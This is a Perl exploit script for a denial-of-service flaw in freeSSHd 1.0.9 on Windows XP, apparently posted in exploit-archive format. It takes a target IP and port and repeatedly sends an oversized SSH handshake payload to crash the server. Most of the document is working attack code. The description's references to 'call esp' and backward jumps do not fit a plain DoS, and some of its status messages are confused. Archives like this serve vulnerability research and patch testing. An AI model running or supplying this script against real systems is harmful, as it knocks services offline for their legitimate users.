#!/usr/bin/perl
use IO::Socket;
# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1FKc_v7kmA-Z-6pymLk0QpxIQxKFeMceT/view?usp=sharing
# Notification vendor: No reported
# Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://youtu.be/ZJ6D5nhjve0
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The SSH does not correctly handle the amount of data or bytes sent.
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $bufff =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;
my $payload =
"\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);
$payload .= $payload;
$payload .= "C" x 19021 . "\r\n";
my $i=0;
while ($i<=18) {
my $sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp'
) or die "Cannot connect!\n";
if (<$sock> eq '') {
print "[+] Done - Exploited success!!!!!\n\n";
exit;
}
$sock->send($payload) or die "Exploited successuful!!!";
$i++;
}
sub intro {
print q {
_/|
// o\
|| ._)
//__\
)___(
[+] freeSSHd 1.0.9 - Denied of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
